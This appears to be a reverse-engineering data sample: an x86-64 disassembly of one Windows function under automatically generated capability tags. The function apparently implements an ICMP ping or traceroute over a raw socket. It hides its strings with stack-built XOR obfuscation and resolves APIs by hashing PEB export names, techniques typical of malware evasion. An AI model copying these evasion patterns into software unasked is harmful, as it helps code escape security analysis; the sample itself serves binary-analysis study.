Function at 0x1401974d0
Capabilities:
Access peb ldr_data
Check os version
Contain obfuscated stackstrings
Encode data using xor
Get socket status
Hash data using fnv
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Resolve function by parsing pe exports
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x870]
sub rsp, 0x970
mov rsi, rcx
lea rdx, [rbp + 0x460]
mov ecx, 0x202
call qword [sym.imp.ws2_32.dll_WSAStartup]
cmp eax, 0xffffffff
je 0x140198475
lea rcx, [rsp + 0x40]
call qword [sym.imp.kernel32.dll_GetSystemTime]
movzx ecx, word [rsp + 0x4e]
call fcn.1403df874
xor r13d, r13d
mov rcx, rsi
mov r15d, r13d
mov r12d, r13d
call qword [sym.imp.ws2_32.dll_gethostbyname]
test rax, rax
je 0x140198475
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
test rcx, rcx
je 0x140197552
mov ebx, dword [rcx]
jmp 0x140197564
xor ebx, ebx
call fcn.1403dfed0
mov dword [rax], 0x16
call fcn.1403d7000
mov ecx, ebx
call qword [sym.imp.ws2_32.dll_inet_ntoa]
lea rcx, [rbp + 0x150]
mov r14, rax
call fcn.140198da8
mov rcx, qword [rbp + 0x150]
movsxd r8, dword [rcx + 4]
mov rcx, qword [rbp + r8 + 0x198]
neg rcx
sbb edx, edx
not edx
and edx, 4
mov dword [rbp + r8 + 0x160], edx
test dword [rbp + r8 + 0x164], edx
jne 0x140198498
lea rcx, [rbp + 0x160]
call fcn.14019af3c
mov rcx, rax
call fcn.14019af3c
movdqa xmm0, xmmword [0x1404cfb70]
xor eax, eax
movdqa xmm1, xmmword [0x1404d0050]
mov rcx, r13
movdqu xmmword [rbp + 0x6e], xmm0
mov dword [rbp + 0xbe], 0x3a263231
movdqa xmm0, xmmword [0x1404cf070]
movdqu xmmword [rbp + 0x8e], xmm0
mov dword [rbp + 0xc2], 0x366b3b3b
movdqa xmm0, xmmword [0x1404d01a0]
movdqu xmmword [rbp + 0x7e], xmm1
mov dword [rbp + 0xc6], 0x2c353534
movdqa xmm1, xmmword [0x1404cf050]
movdqu xmmword [rbp + 0xae], xmm0
mov byte [rbp + 0xca], al
movdqu xmmword [rbp + 0x9e], xmm1
xor byte [rbp + rcx + 0x6e], al
inc eax
movsxd rcx, eax
cmp rcx, 0x5c
jb 0x140197635
mov byte [rbp + 0xca], r13b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rdx, qword [rax + 0x30]
movsxd rcx, dword [rdx + 0x3c]
mov r9d, dword [rcx + rdx + 0x88]
add r9, rdx
cmp r9, rdx
je 0x1401976c4
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1401976c4
mov edi, dword [r9 + 0x20]
dec r10d
mov r11d, 0x3d225c18
lea rcx, [rdi + r10*4]
mov r8d, dword [rcx + rdx]
add r8, rdx
mov cl, byte [r8]
inc r8
test cl, cl
je 0x1401976bf
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14019769f
cmp r11d, 0x733e3543
je 0x1401976c9
test r10d, r10d
jne 0x140197681
mov rax, qword [rax]
jmp 0x14019765c
mov eax, dword [r9 + 0x24]
mov ecx, dword [r9 + 0x1c]
add rax, rdx
add rcx, rdx
movzx eax, word [rax + r10*2]
mov eax, dword [rcx + rax*4]
lea rcx, [rbp + 0x6e]
add rax, rdx
xor edx, edx
call qword [case.0x140173169.0]
movdqa xmm0, xmmword [0x1404cfb70]
mov eax, r13d
movdqa xmm1, xmmword [0x1404d0050]
mov rcx, r13
movdqu xmmword [rbp + 0x10], xmm0
mov dword [rbp + 0x60], 0x27313070
movdqa xmm0, xmmword [0x1404cf070]
movdqu xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x64], 0x6a383a3d
movdqa xmm0, xmmword [0x1404cf2c0]
movdqu xmmword [rbp + 0x20], xmm1
mov dword [rbp + 0x68], 0x34363539
movdqa xmm1, xmmword [0x1404cf050]
movdqu xmmword [rbp + 0x50], xmm0
mov word [rbp + 0x6c], 0x2b
movdqu xmmword [rbp + 0x40], xmm1
xor byte [rbp + rcx + 0x10], al
inc eax
movsxd rcx, eax
cmp rcx, 0x5d
jb 0x140197750
mov byte [rbp + 0x6d], r13b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rdx, qword [rax + 0x30]
movsxd rcx, dword [rdx + 0x3c]
mov r9d, dword [rcx + rdx + 0x88]
add r9, rdx
cmp r9, rdx
je 0x1401977dc
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1401977dc
mov edi, dword [r9 + 0x20]
dec r10d
mov r11d, 0xc2256c0e
lea rcx, [rdi + r10*4]
mov r8d, dword [rcx + rdx]
add r8, rdx
mov cl, byte [r8]
inc r8
test cl, cl
je 0x1401977d7
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401977b7
cmp r11d, 0xc8eeb4d1
je 0x1401977e1
test r10d, r10d
jne 0x140197799
mov rax, qword [rax]
jmp 0x140197774
mov eax, dword [r9 + 0x24]
mov ecx, dword [r9 + 0x1c]
add rax, rdx
add rcx, rdx
movzx eax, word [rax + r10*2]
mov eax, dword [rcx + rax*4]
lea rcx, [rbp + 0x10]
add rax, rdx
xor edx, edx
call qword [case.0x140173169.0]
movdqa xmm0, xmmword [0x1404cf980]
xor edi, edi
movdqu xmmword [rsp + 0x40], xmm0
mov eax, edi
mov word [rsp + 0x50], 0x30
mov ecx, edi
xor byte [rsp + rcx + 0x40], al
inc eax
movsxd rcx, eax
cmp rcx, 0x11
jb 0x140197821
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x51], dil
lea rcx, [rbp + 0x160]
call fcn.14019af74
mov rcx, rax
mov rdx, rsi
call fcn.14019af74
xor ecx, ecx
mov word [rbp + 0x8c8], 0x5a20
mov byte [rbp + 0x8ca], cl
mov rdx, rdi
lea ebx, [rcx + 2]
lea esi, [rcx + 1]
xor byte [rbp + rdx + 0x8c8], cl
add ecx, esi
movsxd rdx, ecx
cmp rdx, rbx
jb 0x14019786b
lea rdx, [rbp + 0x8c8]
mov byte [rbp + 0x8ca], dil
mov rcx, rax
call fcn.14019af74
mov rdx, r14
mov rcx, rax
call fcn.14019af74
movdqa xmm0, xmmword [0x1404cfaf0]
xor ecx, ecx
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x4c], cl
mov rdx, rdi
mov dword [rbp - 0x50], 0x33747e30
xor byte [rbp + rdx - 0x60], cl
add ecx, esi
movsxd rdx, ecx
cmp rdx, 0x14
jb 0x1401978b9
lea rdx, [rbp - 0x60]
mov byte [rbp - 0x4c], dil
mov rcx, rax
call fcn.14019af74
mov edx, 0x1e
mov rcx, rax
call fcn.140198ec4
xor ecx, ecx
mov dword [rsp + 0x68], 0x736d6920
mov byte [rsp + 0x6e], cl
mov rdx, rdi
mov word [rsp + 0x6c], 0x2b77
xor byte [rsp + rdx + 0x68], cl
add ecx, esi
movsxd rdx, ecx
cmp rdx, 6
jb 0x1401978fd
lea rdx, [rsp + 0x68]
mov byte [rsp + 0x6e], dil
mov rcx, rax
call fcn.14019af74
mov rcx, rax
call fcn.14019af3c
mov rcx, rax
call fcn.14019af3c
mov r8d, esi
mov edx, 3
mov ecx, ebx
call qword [sym.imp.ws2_32.dll_socket]
mov rcx, r14
mov r13, rax
call qword [sym.imp.ws2_32.dll_inet_addr]
mov dword [rbp + 4], eax
mov word [rbp], bx
call fcn.1403df848
mov word [rbp + 2], ax
mov dword [rbp - 0x30], 0x10
mov dword [rbp - 0x28], edi
mov dword [rbp - 0x24], 0x2dc6c0
call fcn.1403df848
mov ecx, eax
call qword [sym.imp.ws2_32.dll_htons]
mov word [rbp - 0x38], 8
mov ebx, edi
mov word [rbp - 0x34], ax
mov dword [rbp - 0x40], esi
mov eax, dword [rbp + 4]
cmp eax, dword [rbp + 0xf4]
je 0x140198209
xor eax, eax
mov word [rsp + 0x58], 0x2120
mov byte [rsp + 0x5a], al
mov rcx, rdi
mov eax, edi
xor byte [rsp + rcx + 0x58], al
add eax, esi
movsxd rcx, eax
cmp rcx, 2
jb 0x1401979a8
lea rdx, [rsp + 0x58]
mov byte [rsp + 0x5a], dil
lea rcx, [rbp + 0x160]
call fcn.14019af74
inc ebx
mov rcx, rax
mov edx, ebx
mov dword [rbp + 0x8c8], ebx
call fcn.140198ec4
mov eax, 4
lea r9, [rbp - 0x40]
mov r8d, eax
mov dword [rsp + 0x20], eax
xor edx, edx
mov rcx, r13
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x140197ad7
lea rcx, [rbp + 0x160]
call fcn.14019af3c
movdqa xmm0, xmmword [0x1404cff60]
mov r8, rax
movdqa xmm1, xmmword [0x1404d01b0]
xor eax, eax
mov byte [rbp - 0x66], al
mov rcx, rdi
mov eax, edi
mov dword [rbp - 0x70], 0x42504450
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x6c], 0x49494c50
movdqu xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x68], 0x912
xor byte [rsp + rcx + 0x70], al
add eax, esi
movsxd rcx, eax
cmp rcx, 0x2a
jb 0x140197a4b
lea rdx, [rsp + 0x70]
mov byte [rbp - 0x66], dil
mov rcx, r8
call fcn.14019af74
movdqa xmm0, xmmword [0x1404cf260]
mov ecx, edi
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x2e323838
mov rdx, rdi
mov word [rsp + 0x54], 0x34
xor byte [rsp + rdx + 0x40], cl
add ecx, esi
movsxd rdx, ecx
cmp rdx, 0x15
jb 0x140197a8d
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x55], dil
mov rcx, rax
call fcn.14019af74
mov rbx, rax
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140198ec4
mov rcx, rax
call fcn.14019af3c
call qword [sym.imp.ws2_32.dll_WSACleanup]
mov rcx, r12
call fcn.1403cad84
mov ecx, 0x28
call fcn.1403caeb8
movzx ecx, r15w
mov r12, rax
add r15d, esi
mov dword [rsp + 0x68], r15d
call qword [sym.imp.ws2_32.dll_htons]
test r12, r12
mov word [rbp - 0x36], di
mov ebx, edi
mov word [rbp - 0x32], ax
setne bl
test r12, r12
jne 0x140197b1d
call fcn.1403dfed0
mov dword [rax], 0x16
call fcn.1403d7000
jmp 0x140197b25
mov rax, qword [rbp - 0x38]
mov qword [r12], rax
movdqa xmm0, xmmword [0x1404d0330]
mov edx, edi
movups xmmword [r12 + 8], xmm0
mov r8, r12
mov r9d, 0x14
movups xmmword [r12 + 0x18], xmm0
movsx eax, byte [r8 + 1]
movzx ecx, al
movsx eax, byte [r8]
lea r8, [r8 + 2]
shl eax, 8
add ecx, eax
movzx eax, cx
add edx, eax
sub r9, rsi
jne 0x140197b44
jmp 0x140197b6a
movzx edx, dx
add edx, eax
mov eax, edx
shr eax, 0x10
test eax, eax
jne 0x140197b65
not edx
movzx ecx, dx
call qword [sym.imp.ws2_32.dll_htons]
mov word [rbp - 0x36], ax
test ebx, ebx
jne 0x140197b98
call fcn.1403dfed0
mov dword [rax], 0x16
call fcn.1403d7000
jmp 0x140197ba0
mov rax, qword [rbp - 0x38]
mov qword [r12], rax
mov r14b, dil
mov r15d, 3
xor r9d, r9d
mov dword [rsp + 0x28], 0x10
lea rax, [rbp]
mov rdx, r12
mov rcx, r13
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 0x28]
call qword [sym.imp.ws2_32.dll_sendto]
lea rcx, [rbp + 0xd0]
mov ebx, eax
call qword [sym.imp.kernel32.dll_GetSystemTime]
cmp ebx, 0xffffffff
jne 0x140197cb2
lea rcx, [rbp + 0x160]
call fcn.14019af3c
movdqa xmm0, xmmword [0x1404cff60]
mov r8, rax
movdqa xmm1, xmmword [0x1404d0610]
xor eax, eax
mov byte [rbp - 0x6a], al
mov rcx, rdi
mov eax, edi
mov dword [rbp - 0x70], 0x4d4d4854
movdqu xmmword [rsp + 0x70], xmm0
mov word [rbp - 0x6c], 0x51e
movdqu xmmword [rbp - 0x80], xmm1
xor byte [rsp + rcx + 0x70], al
add eax, esi
movsxd rcx, eax
cmp rcx, 0x26
jb 0x140197c26
lea rdx, [rsp + 0x70]
mov byte [rbp - 0x6a], dil
mov rcx, r8
call fcn.14019af74
movdqa xmm0, xmmword [0x1404cf260]
mov ecx, edi
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x2e323838
mov rdx, rdi
mov word [rsp + 0x54], 0x34
xor byte [rsp + rdx + 0x40], cl
add ecx, esi
movsxd rdx, ecx
cmp rdx, 0x15
jb 0x140197c68
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x55], dil
mov rcx, rax
call fcn.14019af74
mov rbx, rax
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140198ec4
mov rcx, rax
call fcn.14019af3c
call qword [sym.imp.ws2_32.dll_WSACleanup]
mov rcx, r12
call fcn.1403cad84
lea rax, [rbp - 0x28]
mov qword [rbp + 0x258], r13
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x250], esi
lea rdx, [rbp + 0x250]
xor ecx, ecx
call qword [sym.imp.ws2_32.dll_select]
cmp eax, 0xffffffff
jne 0x140197e02
lea rcx, [rbp + 0x160]
call fcn.14019af3c
movdqa xmm0, xmmword [0x1404cff60]
mov r8, rax
movdqa xmm1, xmmword [0x1404d0600]
xor eax, eax
mov byte [rbp - 0x6a], al
mov rcx, rdi
mov eax, edi
mov dword [rbp - 0x70], 0x4d4d4854
movdqu xmmword [rsp + 0x70], xmm0
mov word [rbp - 0x6c], 0x51e
movdqu xmmword [rbp - 0x80], xmm1
xor byte [rsp + rcx + 0x70], al
add eax, esi
movsxd rcx, eax
cmp rcx, 0x26
jb 0x140197d27
lea rdx, [rsp + 0x70]
mov byte [rbp - 0x6a], dil
mov rcx, r8
call fcn.14019af74
mov rcx, rax
lea rdx, [0x1404cb7a0]
call fcn.14019af74
mov rbx, rax
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140198ec4
mov rcx, rax
call fcn.14019af3c
mov rcx, r12
call fcn.1403cad84
xor eax, eax
mov word [rsp + 0x5e], 0x2b09
mov byte [rsp + 0x60], al
mov rcx, rdi
mov eax, edi
xor byte [rsp + rcx + 0x5e], al
add eax, esi
movsxd rcx, eax
cmp rcx, 2
jb 0x140197d8b
lea rdx, [rsp + 0x5e]
mov byte [rsp + 0x60], dil
lea rcx, [rbp + 0x160]
call fcn.14019af74
sub r15, rsi
jne 0x140197ba9
test r14b, r14b
jne 0x1401980b1
movdqa xmm0, xmmword [0x1404cf900]
mov eax, edi
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x3c6565
mov rcx, rdi
xor byte [rsp + rcx + 0x40], al
add eax, esi
movsxd rcx, eax
cmp rcx, 0x13
jb 0x140197ddd
mov byte [rsp + 0x53], dil
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x160]
jmp 0x1401981cf
test eax, eax
jle 0x140197d79
lea rdx, [rbp + 0x250]
mov rcx, r13
call qword [sym.imp.ws2_32.dll___WSAFDIsSet]
test eax, eax
je 0x140197d79
mov ebx, 0x5dc
mov ecx, ebx
call fcn.1403caeb8
mov rsi, rax
xor r9d, r9d
lea rax, [rbp - 0x30]
mov r8d, ebx
mov qword [rsp + 0x28], rax
mov rdx, rsi
lea rax, [rbp + 0xf0]
mov rcx, r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_recvfrom]
mov edi, eax
cmp eax, 0xffffffff
jne 0x140197f35
lea rcx, [rbp + 0x160]
call fcn.14019af3c
movdqa xmm0, xmmword [0x1404cff60]
mov r8, rax
movdqa xmm1, xmmword [0x1404d03a0]
xor eax, eax
mov byte [rbp - 0x68], al
xor ecx, ecx
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x70], 0x4a564052
movdqu xmmword [rbp - 0x80], xmm1
mov dword [rbp - 0x6c], 0x71c4b4b
xor byte [rsp + rcx + 0x70], al
inc eax
movsxd rcx, eax
cmp rcx, 0x28
jb 0x140197ea2
lea rdx, [rsp + 0x70]
mov byte [rbp - 0x68], 0
mov rcx, r8
call fcn.14019af74
movdqa xmm0, xmmword [0x1404cf260]
xor ecx, ecx
movdqu xmmword [rsp + 0x40], xmm0
xor edx, edx
mov dword [rsp + 0x50], 0x2e323838
mov word [rsp + 0x54], 0x34
xor byte [rsp + rdx + 0x40], cl
inc ecx
movsxd rdx, ecx
cmp rdx, 0x15
jb 0x140197ee3
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x55], 0
mov rcx, rax
call fcn.14019af74
mov rbx, rax
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140198ec4
mov rcx, rax
call fcn.14019af3c
call qword [sym.imp.ws2_32.dll_WSACleanup]
mov rcx, r12
call fcn.1403cad84
mov rcx, rsi
call fcn.1403cad84
lea rcx, [rbp + 0xe0]
call qword [sym.imp.kernel32.dll_GetSystemTime]
lea rbx, [rsi + 0x14]
add edi, 0xffffffec
mov r14b, 1
test rbx, rbx
je 0x140197f5b
mov rax, qword [rbx]
mov qword [rsp + 0x40], rax
jmp 0x140197f72
xor eax, eax
mov qword [rsp + 0x40], rax
call fcn.1403dfed0
mov dword [rax], 0x16
call fcn.1403d7000
movups xmm0, xmmword [rsi]
mov eax, dword [rsi + 0x10]
movzx ecx, word [rsp + 0x42]
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], eax
call qword [sym.imp.ws2_32.dll_htons_1]
movsxd r8, edi
xor edx, edx
xor edi, edi
mov word [rsp + 0x42], ax
test r8, r8
jle 0x140197fc9
dec r8
shr r8, 1
inc r8
movsx eax, byte [rbx + 1]
movzx ecx, al
movsx eax, byte [rbx]
lea rbx, [rbx + 2]
shl eax, 8
add ecx, eax
movzx eax, cx
add edx, eax
sub r8, 1
jne 0x140197fa4
jmp 0x140197fc9
movzx edx, dx
add edx, eax
mov eax, edx
shr eax, 0x10
test eax, eax
jne 0x140197fc4
mov eax, 0xffff
cmp dx, ax
jne 0x14019806a
movzx ecx, word [rbp + 0xde]
movzx eax, word [rbp + 0xdc]
movzx r9d, word [rbp + 0xec]
sub r9d, eax
movzx eax, word [rbp + 0xee]
sub eax, ecx
cdq
mov r8d, eax
xor r8d, edx
lea ecx, [r9 + 0x3c]
sub r8d, edx
test r9d, r9d
cmovns ecx, r9d
imul eax, ecx, 0x3e8
lea rcx, [rbp + 0x160]
sub eax, r8d
cdq
mov ebx, eax
xor ebx, edx
sub ebx, edx
mov dl, 9
call fcn.14019b174
mov edx, ebx
mov rcx, rax
call fcn.140198ec4
mov ecx, edi
mov dword [rsp + 0x64], 0x716c20
mov rdx, rdi
xor byte [rsp + rdx + 0x64], cl
inc ecx
movsxd rdx, ecx
cmp rdx, 3
jb 0x14019804c
mov byte [rsp + 0x67], dil
lea rdx, [rsp + 0x64]
mov rcx, rax
jmp 0x14019809a
xor eax, eax
mov word [rsp + 0x5b], 0x2009
mov byte [rsp + 0x5d], al
mov rdx, rdi
xor byte [rsp + rdx + 0x5b], al
inc eax
movsxd rdx, eax
cmp rdx, 2
jb 0x14019807a
mov byte [rsp + 0x5d], dil
lea rdx, [rsp + 0x5b]
lea rcx, [rbp + 0x160]
call fcn.14019af74
mov rcx, rsi
call fcn.1403cad84
mov esi, 1
jmp 0x140197db0
mov ecx, dword [rbp - 0x54]
call qword [sym.imp.ws2_32.dll_inet_ntoa]
mov dword [rsp + 0x30], 8
lea r8, [rbp + 0x460]
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0xf0]
mov r9d, 0x401
mov qword [rsp + 0x20], rdi
mov edx, 0x10
mov rbx, rax
call qword [sym.imp.ws2_32.dll_getnameinfo]
cmp eax, 0xffffffff
jne 0x140198144
movdqa xmm0, xmmword [0x1404cf220]
mov eax, edi
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], 0x67617e78
mov rcx, rdi
mov dword [rbp - 0x4c], 0x7a777b34
mov word [rbp - 0x48], 0x7d
xor byte [rbp + rcx - 0x60], al
add eax, esi
movsxd rcx, eax
cmp rcx, 0x19
jb 0x140198118
or r9, 0xffffffffffffffff
mov byte [rbp - 0x47], dil
lea r8, [rbp - 0x60]
mov edx, 0x401
lea rcx, [rbp + 0x460]
call fcn.1403df890
mov dl, 9
lea rcx, [rbp + 0x160]
call fcn.14019b174
mov rcx, rax
lea rdx, [rbp + 0x460]
call fcn.14019af74
xor ecx, ecx
mov word [rsp + 0x61], 0x5a20
mov byte [rsp + 0x63], cl
mov rdx, rdi
mov ecx, edi
xor byte [rsp + rdx + 0x61], cl
add ecx, esi
movsxd rdx, ecx
cmp rdx, 2
jb 0x140198173
lea rdx, [rsp + 0x61]
mov byte [rsp + 0x63], dil
mov rcx, rax
call fcn.14019af74
mov rcx, rax
mov rdx, rbx
call fcn.14019af74
mov ecx, edi
mov word [rbp + 0x8c0], 0x5d
mov rdx, rdi
xor byte [rbp + rdx + 0x8c0], cl
add ecx, esi
movsxd rdx, ecx
cmp rdx, rsi
jb 0x1401981ad
mov byte [rbp + 0x8c1], dil
lea rdx, [rbp + 0x8c0]
mov rcx, rax
call fcn.14019af74
lea rcx, [rbp + 0x160]
call fcn.14019af3c
mov rcx, rax
mov dl, 0xd
call fcn.14019b174
add dword [rbp - 0x40], esi
mov rcx, r12
call fcn.1403cad84
mov ebx, dword [rbp + 0x8c8]
mov r15d, dword [rsp + 0x68]
cmp ebx, 0x1e
jl 0x140197987
call qword [sym.imp.ws2_32.dll_WSACleanup]
mov eax, dword [rbp + 0x1d8]
mov edx, 0xf
and al, 0x22
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], rdi
xorps xmm0, xmm0
mov qword [rbp - 8], rdx
mov r8, rdi
movups xmmword [rbp + 0x100], xmm0
cmp al, 2
je 0x14019826c
mov rax, qword [rbp + 0x1a8]
mov rbx, qword [rax]
test rbx, rbx
je 0x14019826c
cmp rbx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x188]
cmovb rbx, qword [rbp + 0x1d0]
mov r9, qword [rax]
sub rbx, r9
mov rax, rbx
mov rcx, r9
jmp 0x1401982b7
test byte [rbp + 0x1d8], 4
mov rax, rdi
mov rcx, rdi
jne 0x1401982a9
mov rax, qword [rbp + 0x1a0]
mov r10, qword [rax]
mov rax, rdi
test r10, r10
je 0x1401982a9
mov rax, qword [rbp + 0x180]
mov r9, qword [rax]
mov rax, qword [rbp + 0x1b8]
movsxd rbx, dword [rax]
sub rbx, r9
add rbx, r10
jmp 0x140198264
mov rbx, qword [rbp + 0x108]
mov r9, qword [rbp + 0x100]
test r9, r9
je 0x1401982f6
cmp rax, rdx
ja 0x1401982db
mov rdx, rcx
mov qword [rbp - 0x10], rbx
lea rcx, [rbp - 0x20]
mov r8, rbx
call fcn.1403cc5a0
mov byte [rbp + rbx - 0x20], dil
jmp 0x1401982ee
mov r8b, byte [rbp + 0x8c0]
lea rcx, [rbp - 0x20]
mov rdx, rbx
call fcn.14013f444
mov r8, qword [rbp - 0x20]
mov rdx, qword [rbp - 8]
mov r15, qword [rbp + 0x8b8]
lea rcx, [rbp - 0x20]
cmp rdx, 0x10
cmovae rcx, r8
setae r9b
sub r15, rcx
mov al, byte [rcx]
mov byte [rcx + r15], al
add rcx, rsi
test al, al
jne 0x140198310
test r9b, r9b
je 0x140198352
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x14019834a
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140198492
mov rcx, r8
call fcn.1403cad84
movdqa xmm0, xmmword [0x1404cfb70]
xor eax, eax
movdqa xmm1, xmmword [0x1404cffb0]
mov rcx, rdi
movdqu xmmword [rbp + 0x118], xmm0
mov byte [rbp + 0x148], al
mov eax, edi
movdqa xmm0, xmmword [0x1404d0640]
movdqu xmmword [rbp + 0x138], xmm0
movdqu xmmword [rbp + 0x128], xmm1
xor byte [rbp + rcx + 0x118], al
add eax, esi
movsxd rcx, eax
cmp rcx, 0x30
jb 0x14019838f
mov byte [rbp + 0x148], dil
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140198420
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x140198420
mov edi, dword [r9 + 0x20]
dec r10d
mov r11d, 0x71c66d68
lea rcx, [r8 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r8
mov cl, byte [rdx]
add rdx, rsi
test cl, cl
je 0x140198419
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, rsi
test cl, cl
jne 0x1401983fa
cmp r11d, 0x62fff433
je 0x140198425
test r10d, r10d
jne 0x1401983de
xor edi, edi
mov rax, qword [rax]
jmp 0x1401983b9
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r8
lea rcx, [rbp + 0x118]
call qword [case.0x140173169.0]
lea rcx, [rbp + 0x1e8]
call fcn.140198cc4
lea rax, [0x1404ce538]
lea rcx, [rbp + 0x1e8]
mov qword [rbp + 0x1e8], rax
call fcn.1403c9214
jmp 0x140198477
xor al, al
mov rbx, qword [rsp + 0x9b0]
add rsp, 0x970
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1403d7020
int3
lea rcx, [rsp + 0x40]
call fcn.140196bcc
mov r8, rax
lea rdx, [0x1404cb758]
lea rcx, [rsp + 0x70]
call fcn.14019738c
lea rdx, [0x1404e5e38]
lea rcx, [rsp + 0x70]
call fcn.1403ccf40
int3